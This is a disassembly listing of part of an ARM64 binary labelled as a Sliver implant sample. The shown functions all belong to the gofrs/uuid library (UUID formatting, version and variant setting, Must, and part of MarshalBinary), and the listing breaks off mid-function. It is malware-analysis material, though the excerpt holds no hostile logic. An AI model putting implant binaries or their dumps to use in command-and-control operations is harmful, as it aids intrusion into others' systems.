File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
    0050d3c0
    0050d3c0github.com/gofrs/uuid.UUID.Format: ; void github.com/gofrs/uuid.UUID.Format(github.com/gofrs/uuid.UUID u, fmt.State f, int32 c)
    0050d3c0ldr x16, [x28+16]
    0050d3c4sub x17, sp, 496
    0050d3c8subs xzr, x17, x16
    0050d3ccb.ls 0x50d9a8
    0050d3d0sub x20, sp, 624
    0050d3d4stp x29, x30, [x20-8]
    0050d3d8add sp, x20, 0
    0050d3dcsub x29, sp, 8
    0050d3e0str x0, [sp+648]
    0050d3e4str x1, [sp+656]
    0050d3e8str w2, [sp+664]
    0050d3ecstr w2, [sp+84]
    0050d3f0subs wzr, w2, 113
    0050d3f4b.le 0x50d3fc
    0050d3f8b 0x50d508
    0050d3fc
    0050d3fcloc_50d3fc:
    0050d3fcsubs wzr, w2, 83
    0050d400b.eq 0x50d408
    0050d404b 0x50d40c
    0050d408
    0050d408loc_50d408:
    0050d408b 0x50d518
    0050d40c
    0050d40cloc_50d40c:
    0050d40csubs wzr, w2, 88
    0050d410b.eq 0x50d418
    0050d414b 0x50d41c
    0050d418
    0050d418loc_50d418:
    0050d418b 0x50d770
    0050d41c
    0050d41cloc_50d41c:
    0050d41csubs wzr, w2, 113
    0050d420b.eq 0x50d428
    0050d424b 0x50d4fc
    0050d428
    0050d428loc_50d428:
    0050d428b 0x50d42c
    0050d42c
    0050d42cloc_50d42c:
    0050d42cadd x27, sp, 632
    0050d430ldp x0, x1, [x27]
    0050d434stp x0, x1, [sp+8]
    0050d438bl github.com/gofrs/uuid.UUID.String
    0050d43cstr x0, [sp+512]
    0050d440str x1, [sp+520]
    0050d444add x27, sp, 544
    0050d448stp xzr, xzr, [x27]
    0050d44cldr x0, [sp+656]
    0050d450ldr x1, [sp+648]
    0050d454str x1, [sp+328]
    0050d458str x0, [sp+336]
    0050d45ccbnz x1, 0x50d464
    0050d460b 0x50d484
    0050d464
    0050d464loc_50d464:
    0050d464str x0, [sp+208]
    0050d468ldr x1, [x1+8]
    0050d46cadrp x0, 0x501000
    0050d470add x0, x0, 304
    0050d474bl runtime.typeAssert
    0050d478mov x1, x0
    0050d47cldr x0, [sp+208]
    0050d480b 0x50d488
    0050d484
    0050d484loc_50d484:
    0050d484b 0x50d488
    0050d488
    0050d488loc_50d488:
    0050d488str x1, [sp+312]
    0050d48cstr x0, [sp+320]
    0050d490ldr x3, [sp+512]
    0050d494ldr x4, [sp+520]
    0050d498mov x0, xzr
    0050d49cadrp x1, 0x203000
    0050d4a0add x1, x1, 3112
    0050d4a4orr x2, xzr, 1
    0050d4a8adrp x5, 0x203000
    0050d4acadd x5, x5, 3112
    0050d4b0mov x6, x2
    0050d4b4bl runtime.concatstring3
    0050d4b8str x0, [sp+296]
    0050d4bcstr x1, [sp+304]
    0050d4c0ldr x7, [sp+312]
    0050d4c4ldr x8, [sp+320]
    0050d4c8mov x2, x0
    0050d4ccmov x3, x1
    0050d4d0mov x0, x7
    0050d4d4mov x1, x8
    0050d4d8bl io.WriteString
    0050d4dcstr x0, [sp+104]
    0050d4e0str x1, [sp+544]
    0050d4e4str x2, [sp+552]
    0050d4e8ldr x7, [sp+104]
    0050d4ecstr x7, [sp+112]
    0050d4f0str x1, [sp+584]
    0050d4f4str x2, [sp+592]
    0050d4f8b 0x50d99c
    0050d4fc
    0050d4fcloc_50d4fc:
    0050d4fcb 0x50d500
    0050d500
    0050d500loc_50d500:
    0050d500b 0x50d504
    0050d504
    0050d504loc_50d504:
    0050d504b 0x50d854
    0050d508
    0050d508loc_50d508:
    0050d508subs wzr, w2, 115
    0050d50cb.eq 0x50d514
    0050d510b 0x50d5e0
    0050d514
    0050d514loc_50d514:
    0050d514b 0x50d518
    0050d518
    0050d518loc_50d518:
    0050d518add x27, sp, 632
    0050d51cldp x0, x1, [x27]
    0050d520stp x0, x1, [sp+8]
    0050d524bl github.com/gofrs/uuid.UUID.String
    0050d528str x0, [sp+128]
    0050d52cstr x1, [sp+136]
    0050d530ldrsw x2, [sp+664]
    0050d534subs wzr, w2, 83
    0050d538b.eq 0x50d540
    0050d53cb 0x50d560
    0050d540
    0050d540loc_50d540:
    0050d540mov x2, x1
    0050d544mov x1, x0
    0050d548adrp x0, 0x1cb000
    0050d54cadd x0, x0, 3192
    0050d550bl strings.Map
    0050d554str x0, [sp+128]
    0050d558str x1, [sp+136]
    0050d55cb 0x50d564
    0050d560
    0050d560loc_50d560:
    0050d560b 0x50d564
    0050d564
    0050d564loc_50d564:
    0050d564add x27, sp, 544
    0050d568stp xzr, xzr, [x27]
    0050d56cldr x1, [sp+656]
    0050d570ldr x4, [sp+648]
    0050d574str x4, [sp+360]
    0050d578str x1, [sp+368]
    0050d57ccbnz x4, 0x50d584
    0050d580b 0x50d5a4
    0050d584
    0050d584loc_50d584:
    0050d584str x1, [sp+208]
    0050d588ldr x1, [x4+8]
    0050d58cadrp x0, 0x501000
    0050d590add x0, x0, 272
    0050d594bl runtime.typeAssert
    0050d598ldr x1, [sp+208]
    0050d59cmov x4, x0
    0050d5a0b 0x50d5a8
    0050d5a4
    0050d5a4loc_50d5a4:
    0050d5a4b 0x50d5a8
    0050d5a8
    0050d5a8loc_50d5a8:
    0050d5a8str x4, [sp+344]
    0050d5acstr x1, [sp+352]
    0050d5b0ldr x2, [sp+128]
    0050d5b4ldr x3, [sp+136]
    0050d5b8mov x0, x4
    0050d5bcbl io.WriteString
    0050d5c0str x0, [sp+104]
    0050d5c4str x1, [sp+544]
    0050d5c8str x2, [sp+552]
    0050d5ccldr x4, [sp+104]
    0050d5d0str x4, [sp+120]
    0050d5d4str x1, [sp+600]
    0050d5d8str x2, [sp+608]
    0050d5dcb 0x50d99c
    0050d5e0
    0050d5e0loc_50d5e0:
    0050d5e0subs wzr, w2, 118
    0050d5e4b.eq 0x50d5ec
    0050d5e8b 0x50d760
    0050d5ec
    0050d5ecloc_50d5ec:
    0050d5ecb 0x50d5f0
    0050d5f0
    0050d5f0loc_50d5f0:
    0050d5f0stp xzr, xzr, [sp+144]
    0050d5f4ldr x2, [sp+648]
    0050d5f8ldrsb x27, [x2]
    0050d5fcldr x2, [x2+24]
    0050d600ldr x0, [sp+656]
    0050d604movz x1, 35
    0050d608blr x2
    0050d60cstrb w0, [sp+83]
    0050d610tbnz w0, 0, 0x50d618
    0050d614b 0x50d6c8
    0050d618
    0050d618loc_50d618:
    0050d618add x27, sp, 632
    0050d61cldp x2, x3, [x27]
    0050d620add x27, sp, 67
    0050d624stp x2, x3, [x27]
    0050d628add x27, sp, 528
    0050d62cstp xzr, xzr, [x27]
    0050d630add x2, sp, 528
    0050d634str x2, [sp+416]
    0050d638adrp x0, 0xef000
    0050d63cadd x0, x0, 3264
    0050d640add x1, sp, 67
    0050d644bl runtime.convTnoptr
    0050d648str x0, [sp+408]
    0050d64cldr x2, [sp+416]
    0050d650ldrsb x27, [x2]
    0050d654adrp x3, 0xef000
    0050d658add x3, x3, 3264
    0050d65cstr x3, [x2]
    0050d660adrp x27, 0x53e000
    0050d664ldr w3, [x27+3056]
    0050d668cbz w3, 0x50d670
    0050d66cb 0x50d674
    0050d670
    0050d670loc_50d670:
    0050d670b 0x50d688
    0050d674
    0050d674loc_50d674:
    0050d674bl runtime.gcWriteBarrier2
    0050d678str x0, [x25]
    0050d67cldr x5, [x2+8]
    0050d680str x5, [x25+8]
    0050d684b 0x50d688
    0050d688
    0050d688loc_50d688:
    0050d688str x0, [x2+8]
    0050d68cldr x2, [sp+416]
    0050d690ldrsb x27, [x2]
    0050d694b 0x50d698
    0050d698
    0050d698loc_50d698:
    0050d698str x2, [sp+424]
    0050d69corr x4, xzr, 1
    0050d6a0str x4, [sp+432]
    0050d6a4str x4, [sp+440]
    0050d6a8adrp x0, 0x1a3000
    0050d6acadd x0, x0, 468
    0050d6b0orr x1, xzr, 3
    0050d6b4mov x3, x4
    0050d6b8bl fmt.Sprintf
    0050d6bcstr x0, [sp+144]
    0050d6c0str x1, [sp+152]
    0050d6c4b 0x50d6e4
    0050d6c8
    0050d6c8loc_50d6c8:
    0050d6c8add x27, sp, 632
    0050d6ccldp x0, x1, [x27]
    0050d6d0stp x0, x1, [sp+8]
    0050d6d4bl github.com/gofrs/uuid.UUID.String
    0050d6d8str x0, [sp+144]
    0050d6dcstr x1, [sp+152]
    0050d6e0b 0x50d6e4
    0050d6e4
    0050d6e4loc_50d6e4:
    0050d6e4add x27, sp, 544
    0050d6e8stp xzr, xzr, [x27]
    0050d6ecldr x1, [sp+656]
    0050d6f0ldr x4, [sp+648]
    0050d6f4str x4, [sp+392]
    0050d6f8str x1, [sp+400]
    0050d6fccbnz x4, 0x50d704
    0050d700b 0x50d724
    0050d704
    0050d704loc_50d704:
    0050d704str x1, [sp+208]
    0050d708ldr x1, [x4+8]
    0050d70cadrp x0, 0x501000
    0050d710add x0, x0, 240
    0050d714bl runtime.typeAssert
    0050d718ldr x1, [sp+208]
    0050d71cmov x4, x0
    0050d720b 0x50d728
    0050d724
    0050d724loc_50d724:
    0050d724b 0x50d728
    0050d728
    0050d728loc_50d728:
    0050d728str x4, [sp+376]
    0050d72cstr x1, [sp+384]
    0050d730ldr x2, [sp+144]
    0050d734ldr x3, [sp+152]
    0050d738mov x0, x4
    0050d73cbl io.WriteString
    0050d740str x0, [sp+104]
    0050d744str x1, [sp+544]
    0050d748str x2, [sp+552]
    0050d74cldr x4, [sp+104]
    0050d750str x4, [sp+88]
    0050d754str x1, [sp+176]
    0050d758str x2, [sp+184]
    0050d75cb 0x50d99c
    0050d760
    0050d760loc_50d760:
    0050d760subs wzr, w2, 120
    0050d764b.eq 0x50d76c
    0050d768b 0x50d848
    0050d76c
    0050d76cloc_50d76c:
    0050d76cb 0x50d770
    0050d770
    0050d770loc_50d770:
    0050d770add x27, sp, 632
    0050d774ldp x0, x1, [x27]
    0050d778stp x0, x1, [sp+8]
    0050d77cbl github.com/gofrs/uuid.UUID.Bytes
    0050d780str x0, [sp+560]
    0050d784str x1, [sp+568]
    0050d788str x2, [sp+576]
    0050d78cbl encoding/hex.EncodeToString
    0050d790str x0, [sp+160]
    0050d794str x1, [sp+168]
    0050d798ldrsw x2, [sp+664]
    0050d79csubs wzr, w2, 88
    0050d7a0b.eq 0x50d7a8
    0050d7a4b 0x50d7c8
    0050d7a8
    0050d7a8loc_50d7a8:
    0050d7a8mov x2, x1
    0050d7acmov x1, x0
    0050d7b0adrp x0, 0x1cb000
    0050d7b4add x0, x0, 3192
    0050d7b8bl strings.Map
    0050d7bcstr x0, [sp+160]
    0050d7c0str x1, [sp+168]
    0050d7c4b 0x50d7cc
    0050d7c8
    0050d7c8loc_50d7c8:
    0050d7c8b 0x50d7cc
    0050d7cc
    0050d7ccloc_50d7cc:
    0050d7ccadd x27, sp, 544
    0050d7d0stp xzr, xzr, [x27]
    0050d7d4ldr x1, [sp+656]
    0050d7d8ldr x4, [sp+648]
    0050d7dcstr x4, [sp+464]
    0050d7e0str x1, [sp+472]
    0050d7e4cbnz x4, 0x50d7ec
    0050d7e8b 0x50d80c
    0050d7ec
    0050d7ecloc_50d7ec:
    0050d7ecstr x1, [sp+208]
    0050d7f0ldr x1, [x4+8]
    0050d7f4adrp x0, 0x501000
    0050d7f8add x0, x0, 208
    0050d7fcbl runtime.typeAssert
    0050d800ldr x1, [sp+208]
    0050d804mov x4, x0
    0050d808b 0x50d810
    0050d80c
    0050d80cloc_50d80c:
    0050d80cb 0x50d810
    0050d810
    0050d810loc_50d810:
    0050d810str x4, [sp+448]
    0050d814str x1, [sp+456]
    0050d818ldr x2, [sp+160]
    0050d81cldr x3, [sp+168]
    0050d820mov x0, x4
    0050d824bl io.WriteString
    0050d828str x0, [sp+104]
    0050d82cstr x1, [sp+544]
    0050d830str x2, [sp+552]
    0050d834ldr x4, [sp+104]
    0050d838str x4, [sp+96]
    0050d83cstr x1, [sp+192]
    0050d840str x2, [sp+200]
    0050d844b 0x50d99c
    0050d848
    0050d848loc_50d848:
    0050d848b 0x50d84c
    0050d84c
    0050d84cloc_50d84c:
    0050d84cb 0x50d850
    0050d850
    0050d850loc_50d850:
    0050d850b 0x50d854
    0050d854
    0050d854loc_50d854:
    0050d854b 0x50d858
    0050d858
    0050d858loc_50d858:
    0050d858add x27, sp, 632
    0050d85cldp x0, x1, [x27]
    0050d860stp x0, x1, [sp+8]
    0050d864bl github.com/gofrs/uuid.UUID.String
    0050d868str x0, [sp+512]
    0050d86cstr x1, [sp+520]
    0050d870ldr x0, [sp+656]
    0050d874ldr x1, [sp+648]
    0050d878str x1, [sp+280]
    0050d87cstr x0, [sp+288]
    0050d880cbnz x1, 0x50d888
    0050d884b 0x50d8a8
    0050d888
    0050d888loc_50d888:
    0050d888str x0, [sp+208]
    0050d88cldr x1, [x1+8]
    0050d890adrp x0, 0x501000
    0050d894add x0, x0, 336
    0050d898bl runtime.typeAssert
    0050d89cmov x1, x0
    0050d8a0ldr x0, [sp+208]
    0050d8a4b 0x50d8ac
    0050d8a8
    0050d8a8loc_50d8a8:
    0050d8a8b 0x50d8ac
    0050d8ac
    0050d8acloc_50d8ac:
    0050d8acstr x1, [sp+264]
    0050d8b0str x0, [sp+272]
    0050d8b4stp xzr, xzr, [sp+480]
    0050d8b8stp xzr, xzr, [sp+496]
    0050d8bcadd x1, sp, 480
    0050d8c0str x1, [sp+232]
    0050d8c4ldrsw x0, [sp+664]
    0050d8c8bl runtime.convT32
    0050d8ccstr x0, [sp+224]
    0050d8d0ldr x1, [sp+232]
    0050d8d4ldrsb x27, [x1]
    0050d8d8adrp x2, 0xe8000
    0050d8dcadd x2, x2, 3264
    0050d8e0str x2, [x1]
    0050d8e4adrp x27, 0x53e000
    0050d8e8ldr w2, [x27+3056]
    0050d8eccbz w2, 0x50d8f4
    0050d8f0b 0x50d8f8
    0050d8f4
    0050d8f4loc_50d8f4:
    0050d8f4b 0x50d90c
    0050d8f8
    0050d8f8loc_50d8f8:
    0050d8f8bl runtime.gcWriteBarrier2
    0050d8fcstr x0, [x25]
    0050d900ldr x2, [x1+8]
    0050d904str x2, [x25+8]
    0050d908b 0x50d90c
    0050d90c
    0050d90cloc_50d90c:
    0050d90cstr x0, [x1+8]
    0050d910ldr x0, [sp+512]
    0050d914ldr x1, [sp+520]
    0050d918bl runtime.convTstring
    0050d91cstr x0, [sp+216]
    0050d920ldr x2, [sp+232]
    0050d924ldrsb x27, [x2]
    0050d928adrp x3, 0xe8000
    0050d92cadd x3, x3, 2944
    0050d930str x3, [x2+16]
    0050d934adrp x27, 0x53e000
    0050d938ldr w3, [x27+3056]
    0050d93ccbz w3, 0x50d944
    0050d940b 0x50d948
    0050d944
    0050d944loc_50d944:
    0050d944b 0x50d95c
    0050d948
    0050d948loc_50d948:
    0050d948bl runtime.gcWriteBarrier2
    0050d94cstr x0, [x25]
    0050d950ldr x7, [x2+24]
    0050d954str x7, [x25+8]
    0050d958b 0x50d95c
    0050d95c
    0050d95cloc_50d95c:
    0050d95cstr x0, [x2+24]
    0050d960ldr x4, [sp+232]
    0050d964ldrsb x27, [x4]
    0050d968b 0x50d96c
    0050d96c
    0050d96cloc_50d96c:
    0050d96cstr x4, [sp+240]
    0050d970orr x6, xzr, 2
    0050d974str x6, [sp+248]
    0050d978str x6, [sp+256]
    0050d97cldr x0, [sp+264]
    0050d980ldr x1, [sp+272]
    0050d984adrp x2, 0x1a9000
    0050d988add x2, x2, 567
    0050d98cmovz x3, 19
    0050d990mov x5, x6
    0050d994bl fmt.Fprintf
    0050d998b 0x50d99c
    0050d99c
    0050d99cloc_50d99c:
    0050d99cldp x29, x30, [sp-8]
    0050d9a0add sp, sp, 624
    0050d9a4ret x30
    0050d9a8
    0050d9a8loc_50d9a8:
    0050d9a8stp x0, x1, [sp+24]
    0050d9acstr w2, [sp+40]
    0050d9b0mov x3, x30
    0050d9b4bl runtime.morestack_noctxt.abi0
    0050d9b8ldp x0, x1, [sp+24]
    0050d9bcldrsw x2, [sp+40]
    0050d9c0b 0x50d3c0
    0050d9c4udf 0
    0050d9c8udf 0
    0050d9ccudf 0
    0050d3c0
    0050d9d0
    0050d9d0github.com/gofrs/uuid.toCapitalHexDigits: ; void github.com/gofrs/uuid.toCapitalHexDigits(int32 ch)
    0050d9d0str x30, [sp-32]!
    0050d9d4stur x29, [sp-8]
    0050d9d8sub x29, sp, 8
    0050d9dcstr w0, [sp+40]
    0050d9e0str wzr, [sp+16]
    0050d9e4str w0, [sp+20]
    0050d9e8subs wzr, w0, 99
    0050d9ecb.le 0x50d9f4
    0050d9f0b 0x50da6c
    0050d9f4
    0050d9f4loc_50d9f4:
    0050d9f4subs wzr, w0, 97
    0050d9f8b.eq 0x50da00
    0050d9fcb 0x50da18
    0050da00
    0050da00loc_50da00:
    0050da00b 0x50da04
    0050da04
    0050da04loc_50da04:
    0050da04movz x0, 65
    0050da08str w0, [sp+16]
    0050da0cadd x29, sp, 24
    0050da10add sp, sp, 32
    0050da14ret x30
    0050da18
    0050da18loc_50da18:
    0050da18subs wzr, w0, 98
    0050da1cb.eq 0x50da24
    0050da20b 0x50da3c
    0050da24
    0050da24loc_50da24:
    0050da24b 0x50da28
    0050da28
    0050da28loc_50da28:
    0050da28movz x0, 66
    0050da2cstr w0, [sp+16]
    0050da30add x29, sp, 24
    0050da34add sp, sp, 32
    0050da38ret x30
    0050da3c
    0050da3cloc_50da3c:
    0050da3csubs wzr, w0, 99
    0050da40b.eq 0x50da48
    0050da44b 0x50da60
    0050da48
    0050da48loc_50da48:
    0050da48b 0x50da4c
    0050da4c
    0050da4cloc_50da4c:
    0050da4cmovz x0, 67
    0050da50str w0, [sp+16]
    0050da54add x29, sp, 24
    0050da58add sp, sp, 32
    0050da5cret x30
    0050da60
    0050da60loc_50da60:
    0050da60b 0x50da64
    0050da64
    0050da64loc_50da64:
    0050da64b 0x50da68
    0050da68
    0050da68loc_50da68:
    0050da68b 0x50dae4
    0050da6c
    0050da6cloc_50da6c:
    0050da6csubs wzr, w0, 100
    0050da70b.eq 0x50da78
    0050da74b 0x50da90
    0050da78
    0050da78loc_50da78:
    0050da78b 0x50da7c
    0050da7c
    0050da7cloc_50da7c:
    0050da7cmovz x0, 68
    0050da80str w0, [sp+16]
    0050da84add x29, sp, 24
    0050da88add sp, sp, 32
    0050da8cret x30
    0050da90
    0050da90loc_50da90:
    0050da90subs wzr, w0, 101
    0050da94b.eq 0x50da9c
    0050da98b 0x50dab4
    0050da9c
    0050da9cloc_50da9c:
    0050da9cb 0x50daa0
    0050daa0
    0050daa0loc_50daa0:
    0050daa0movz x0, 69
    0050daa4str w0, [sp+16]
    0050daa8add x29, sp, 24
    0050daacadd sp, sp, 32
    0050dab0ret x30
    0050dab4
    0050dab4loc_50dab4:
    0050dab4subs wzr, w0, 102
    0050dab8b.eq 0x50dac0
    0050dabcb 0x50dad8
    0050dac0
    0050dac0loc_50dac0:
    0050dac0b 0x50dac4
    0050dac4
    0050dac4loc_50dac4:
    0050dac4movz x0, 70
    0050dac8str w0, [sp+16]
    0050daccadd x29, sp, 24
    0050dad0add sp, sp, 32
    0050dad4ret x30
    0050dad8
    0050dad8loc_50dad8:
    0050dad8b 0x50dadc
    0050dadc
    0050dadcloc_50dadc:
    0050dadcb 0x50dae0
    0050dae0
    0050dae0loc_50dae0:
    0050dae0b 0x50dae4
    0050dae4
    0050dae4loc_50dae4:
    0050dae4b 0x50dae8
    0050dae8
    0050dae8loc_50dae8:
    0050dae8str w0, [sp+16]
    0050daecadd x29, sp, 24
    0050daf0add sp, sp, 32
    0050daf4ret x30
    0050daf8udf 0
    0050dafcudf 0
    0050d9d0
    0050db00
    0050db00github.com/gofrs/uuid.(*UUID).SetVersion: ; void github.com/gofrs/uuid.(*UUID).SetVersion(github.com/gofrs/uuid.UUID * u, uint8 v)
    0050db00str x0, [sp+8]
    0050db04strb w1, [sp+16]
    0050db08ldr x0, [sp+8]
    0050db0cldrsb x27, [x0]
    0050db10ldr x2, [sp+8]
    0050db14ldrsb x27, [x2]
    0050db18ldrb w2, [x2+6]
    0050db1cand x2, x2, 15
    0050db20orr x1, x2, x1, lsl #4
    0050db24strb w1, [x0+6]
    0050db28ret x30
    0050db2cudf 0
    0050db00
    0050db30
    0050db30github.com/gofrs/uuid.(*UUID).SetVariant: ; void github.com/gofrs/uuid.(*UUID).SetVariant(github.com/gofrs/uuid.UUID * u, uint8 v)
    0050db30str x30, [sp-32]!
    0050db34stur x29, [sp-8]
    0050db38sub x29, sp, 8
    0050db3cstr x0, [sp+40]
    0050db40strb w1, [sp+48]
    0050db44strb w1, [sp+23]
    0050db48ubfm x0, x1, 0, 7
    0050db4csubs wzr, w0, 1
    0050db50b.ls 0x50db58
    0050db54b 0x50dbc8
    0050db58
    0050db58loc_50db58:
    0050db58ubfm x0, x1, 0, 7
    0050db5ccbz w0, 0x50db64
    0050db60b 0x50db88
    0050db64
    0050db64loc_50db64:
    0050db64b 0x50db68
    0050db68
    0050db68loc_50db68:
    0050db68ldr x0, [sp+40]
    0050db6cldrsb x27, [x0]
    0050db70ldr x1, [sp+40]
    0050db74ldrsb x27, [x1]
    0050db78ldrb w1, [x1+8]
    0050db7cand x1, x1, 127
    0050db80strb w1, [x0+8]
    0050db84b 0x50dc44
    0050db88
    0050db88loc_50db88:
    0050db88ubfm x0, x1, 0, 7
    0050db8csubs wzr, w0, 1
    0050db90b.eq 0x50db98
    0050db94b 0x50dbc0
    0050db98
    0050db98loc_50db98:
    0050db98b 0x50db9c
    0050db9c
    0050db9cloc_50db9c:
    0050db9cldr x0, [sp+40]
    0050dba0ldrsb x27, [x0]
    0050dba4ldr x1, [sp+40]
    0050dba8ldrsb x27, [x1]
    0050dbacldrb w1, [x1+8]
    0050dbb0and x1, x1, 63
    0050dbb4orr x1, x1, -128
    0050dbb8strb w1, [x0+8]
    0050dbbcb 0x50dc44
    0050dbc0
    0050dbc0loc_50dbc0:
    0050dbc0b 0x50dbc4
    0050dbc4
    0050dbc4loc_50dbc4:
    0050dbc4b 0x50dc20
    0050dbc8
    0050dbc8loc_50dbc8:
    0050dbc8ubfm x0, x1, 0, 7
    0050dbccsubs wzr, w0, 2
    0050dbd0b.eq 0x50dbd8
    0050dbd4b 0x50dc00
    0050dbd8
    0050dbd8loc_50dbd8:
    0050dbd8b 0x50dbdc
    0050dbdc
    0050dbdcloc_50dbdc:
    0050dbdcldr x0, [sp+40]
    0050dbe0ldrsb x27, [x0]
    0050dbe4ldr x1, [sp+40]
    0050dbe8ldrsb x27, [x1]
    0050dbecldrb w1, [x1+8]
    0050dbf0and x1, x1, 31
    0050dbf4orr x1, x1, -64
    0050dbf8strb w1, [x0+8]
    0050dbfcb 0x50dc44
    0050dc00
    0050dc00loc_50dc00:
    0050dc00ubfm x0, x1, 0, 7
    0050dc04subs wzr, w0, 3
    0050dc08b.eq 0x50dc10
    0050dc0cb 0x50dc18
    0050dc10
    0050dc10loc_50dc10:
    0050dc10b 0x50dc14
    0050dc14
    0050dc14loc_50dc14:
    0050dc14b 0x50dc24
    0050dc18
    0050dc18loc_50dc18:
    0050dc18b 0x50dc1c
    0050dc1c
    0050dc1cloc_50dc1c:
    0050dc1cb 0x50dc20
    0050dc20
    0050dc20loc_50dc20:
    0050dc20b 0x50dc24
    0050dc24
    0050dc24loc_50dc24:
    0050dc24ldr x0, [sp+40]
    0050dc28ldrsb x27, [x0]
    0050dc2cldr x1, [sp+40]
    0050dc30ldrsb x27, [x1]
    0050dc34ldrb w1, [x1+8]
    0050dc38orr x1, x1, -32
    0050dc3cstrb w1, [x0+8]
    0050dc40b 0x50dc44
    0050dc44
    0050dc44loc_50dc44:
    0050dc44add x29, sp, 24
    0050dc48add sp, sp, 32
    0050dc4cret x30
    0050db30
    0050dc50
    0050dc50github.com/gofrs/uuid.Must: ; void github.com/gofrs/uuid.Must(github.com/gofrs/uuid.UUID u, error err)
    0050dc50ldr x16, [x28+16]
    0050dc54subs xzr, sp, x16
    0050dc58b.ls 0x50dcd4
    0050dc5cstr x30, [sp-64]!
    0050dc60stur x29, [sp-8]
    0050dc64sub x29, sp, 8
    0050dc68str x0, [sp+104]
    0050dc6cstr x1, [sp+112]
    0050dc70stp xzr, xzr, [sp+88]
    0050dc74ldr x2, [sp+104]
    0050dc78cbnz x2, 0x50dc94
    0050dc7cb 0x50dc80
    0050dc80
    0050dc80loc_50dc80:
    0050dc80ldp x0, x1, [sp+72]
    0050dc84stp x0, x1, [sp+88]
    0050dc88ldur x29, [sp-8]
    0050dc8cldr x30, [sp], 64
    0050dc90ret x30
    0050dc94
    0050dc94loc_50dc94:
    0050dc94ldr x2, [sp+104]
    0050dc98ldr x3, [sp+112]
    0050dc9cstr x2, [sp+40]
    0050dca0str x3, [sp+48]
    0050dca4str x2, [sp+32]
    0050dca8ldr x2, [sp+32]
    0050dcaccbnz x2, 0x50dcb4
    0050dcb0b 0x50dcd0
    0050dcb4
    0050dcb4loc_50dcb4:
    0050dcb4ldr x2, [sp+32]
    0050dcb8ldr x2, [x2+8]
    0050dcbcstr x2, [sp+32]
    0050dcc0b 0x50dcc4
    0050dcc4
    0050dcc4loc_50dcc4:
    0050dcc4ldr x1, [sp+48]
    0050dcc8ldr x0, [sp+32]
    0050dcccbl runtime.gopanic
    0050dcd0
    0050dcd0loc_50dcd0:
    0050dcd0b 0x50dcc4
    0050dcd4
    0050dcd4loc_50dcd4:
    0050dcd4stp x0, x1, [sp+40]
    0050dcd8mov x3, x30
    0050dcdcbl runtime.morestack_noctxt.abi0
    0050dce0ldp x0, x1, [sp+40]
    0050dce4b 0x50dc50
    0050dce8udf 0
    0050dcecudf 0
    0050dc50
    0050dcf0
    0050dcf0github.com/gofrs/uuid.(*UUID).Format: ; void github.com/gofrs/uuid.(*UUID).Format(github.com/gofrs/uuid.UUID * u, fmt.State f, int32 c)
    0050dcf0ldr x16, [x28+16]
    0050dcf4subs xzr, sp, x16
    0050dcf8b.ls 0x50dd68
    0050dcfcstr x30, [sp-80]!
    0050dd00stur x29, [sp-8]
    0050dd04sub x29, sp, 8
    0050dd08ldr x16, [x28+32]
    0050dd0ccbnz x16, 0x50dd8c
    0050dd10
    0050dd10loc_50dd10:
    0050dd10str x0, [sp+88]
    0050dd14str x1, [sp+96]
    0050dd18str x2, [sp+104]
    0050dd1cstr w3, [sp+112]
    0050dd20ldr x3, [sp+88]
    0050dd24cbnz x3, 0x50dd2c
    0050dd28b 0x50dd60
    0050dd2c
    0050dd2cloc_50dd2c:
    0050dd2cldr x3, [sp+88]
    0050dd30ldrsb x27, [x3]
    0050dd34ldp x3, x4, [x3]
    0050dd38stp x3, x4, [sp+56]
    0050dd3cldp x3, x4, [sp+56]
    0050dd40ldrsw x2, [sp+112]
    0050dd44ldr x0, [sp+96]
    0050dd48ldr x1, [sp+104]
    0050dd4cstp x3, x4, [sp+8]
    0050dd50bl github.com/gofrs/uuid.UUID.Format
    0050dd54ldur x29, [sp-8]
    0050dd58ldr x30, [sp], 80
    0050dd5cret x30
    0050dd60
    0050dd60loc_50dd60:
    0050dd60bl runtime.panicwrap
    0050dd64hint
    0050dd68
    0050dd68loc_50dd68:
    0050dd68stp x0, x1, [sp+8]
    0050dd6cstr x2, [sp+24]
    0050dd70str w3, [sp+32]
    0050dd74mov x3, x30
    0050dd78bl runtime.morestack_noctxt.abi0
    0050dd7cldp x0, x1, [sp+8]
    0050dd80ldr x2, [sp+24]
    0050dd84ldrsw x3, [sp+32]
    0050dd88b 0x50dcf0
    0050dd8c
    0050dd8cloc_50dd8c:
    0050dd8cldr x17, [x16]
    0050dd90add x20, sp, 88
    0050dd94subs xzr, x20, x17
    0050dd98b.ne 0x50dd10
    0050dd9cadd x20, sp, 8
    0050dda0str x20, [x16]
    0050dda4b 0x50dd10
    0050dda8udf 0
    0050ddacudf 0
    0050dcf0
    0050ddb0
    0050ddb0github.com/gofrs/uuid.(*UUID).MarshalBinary: ; void github.com/gofrs/uuid.(*UUID).MarshalBinary(github.com/gofrs/uuid.UUID * u)
    0050ddb0ldr x16, [x28+16]
    0050ddb4sub x17, sp, 48
    0050ddb8subs xzr, x17, x16
    0050ddbcb.ls 0x50de9c
    0050ddc0str x30, [sp-176]!
    0050ddc4stur x29, [sp-8]
    0050ddc8sub x29, sp, 8
    0050ddccldr x16, [x28+32]
    0050ddd0cbnz x16, 0x50deb0
    0050ddd4
    0050ddd4loc_50ddd4:
    0050ddd4str x0, [sp+184]
    0050ddd8str xzr, [sp+64]
    0050dddcstp xzr, xzr, [sp+72]
    0050dde0stp xzr, xzr, [sp+48]
    0050dde4ldr x0, [sp+184]
    0050dde8cbnz x0, 0x50ddf0
    0050ddecb 0x50de94
    0050ddf0
    0050ddf0loc_50ddf0:
    0050ddf0str xzr, [sp+104]
    0050ddf4stp xzr, xzr, [sp+112]
    0050ddf8stp xzr, xzr, [sp+88]
    0050ddfcldr x0, [sp+184]
    0050de00ldrsb x27, [x0]
    0050de04ldp x0, x1, [x0]
    0050de08stp x0, x1, [sp+32]
    0050de0cldp x0, x1, [sp+32]
    0050de10stp x0, x1, [sp+8]
    0050de14bl github.com/gofrs/uuid.UUID.MarshalBinary
    0050de18str x0, [sp+104]
    0050de1cstr x1, [sp+112]
    0050de20str x2, [sp+120]
    0050de24str x3, [sp+88]
    0050de28str x4, [sp+96]
    0050de2cldr x0, [sp+104]
    0050de30ldr x1, [sp+112]
    0050de34ldr x2, [sp+120]
    0050de38str x0, [sp+144]
    0050de3cstr x1, [sp+152]
    0050de40str x2, [sp+160]
    0050de44ldr x0, [sp+88]
    0050de48ldr x1, [sp+96]
    0050de4cstr x0, [sp+128]
    0050de50str x1, [sp+136]
